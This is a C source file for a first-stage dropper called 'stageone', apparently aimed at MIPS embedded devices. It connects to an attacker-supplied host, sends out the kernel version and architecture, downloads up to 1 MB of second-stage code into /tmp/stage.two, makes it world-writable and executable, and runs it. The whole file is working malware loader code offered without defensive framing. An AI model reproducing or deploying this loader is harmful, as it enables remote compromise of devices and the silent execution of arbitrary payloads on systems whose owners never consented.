/* Author: Neil Jones Notes: Make sure you change the arch in the top of main before compiling for different systems Usage: ./stageone [port] */ #include #include #include #include #include #include #include #include #include #define MAXDOWNSIZE 1048576 #define O_CREAT 00100 #define O_RDWR 2 char *getOutput(char *cmd){ FILE *fp; int status; static char buf[1024]; fp = popen(cmd,"r"); if (fp == NULL) { printf("Failed to run command\n" ); exit; } fgets(buf, sizeof(buf)-1, fp); pclose(fp); return buf; } int main(int argc, char *argv[]) { char *arch = "mips"; int sockfd; struct hostent *he; struct sockaddr_in their_addr; int port = 14567; if(argc > 3) { // just exit exit(1); } if(argc == 3){ port = atoi(argv[2]); } // get the host info if((he=gethostbyname(argv[1])) == NULL) { fprintf(stderr, "Failed on gethostbyname\n"); exit(1); } if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) { exit(1); } their_addr.sin_family = AF_INET; // short, network byte order their_addr.sin_port = htons(port); their_addr.sin_addr = *((struct in_addr *)he->h_addr); // zero the rest of the struct memset(&(their_addr.sin_zero), '\0', 8); if(connect(sockfd, (struct sockaddr *)&their_addr, sizeof(struct sockaddr)) == -1) { perror("connect()"); exit(1); } char sendbuf[4096]; memset(&sendbuf,'\0',sizeof(sendbuf)); //gather system information and send it char *uname = getOutput("cat /proc/version"); strncpy(sendbuf,"1",1); strncat(sendbuf,uname,strlen(uname)-1); strncat(sendbuf,"|",1); strncat(sendbuf,arch,strlen(arch)); strncat(sendbuf,"|",1); send(sockfd,sendbuf,sizeof(sendbuf),0); //download the second stage, max file size is MAXDOWNSIZE default 1MB char largeBuf[MAXDOWNSIZE]; char smallBuf[4096]; memset(largeBuf,'0',sizeof(largeBuf)); memset(smallBuf,'0',sizeof(smallBuf)); int count = 0; int totalcount = 0; while(1){ count = recv(sockfd,smallBuf,sizeof(smallBuf),0); if(count < 1 || (count+totalcount) > MAXDOWNSIZE){ break; } else { memcpy(&largeBuf[totalcount],smallBuf,count); totalcount += count; memset(&smallBuf,'0',sizeof(smallBuf)); } } // if there is no download the server will just return 1... if your file first byte is 1... well thats not going to run anyway if(largeBuf[0] != '1'){ char *touch = getOutput("touch /tmp/stage.two"); int of = open("/tmp/stage.two",O_RDWR | O_CREAT); write(of,largeBuf,totalcount); close(of); char *arch = getOutput("chmod 777 /tmp/stage.two"); getOutput("/tmp/stage.two"); } close(sockfd); return 0; }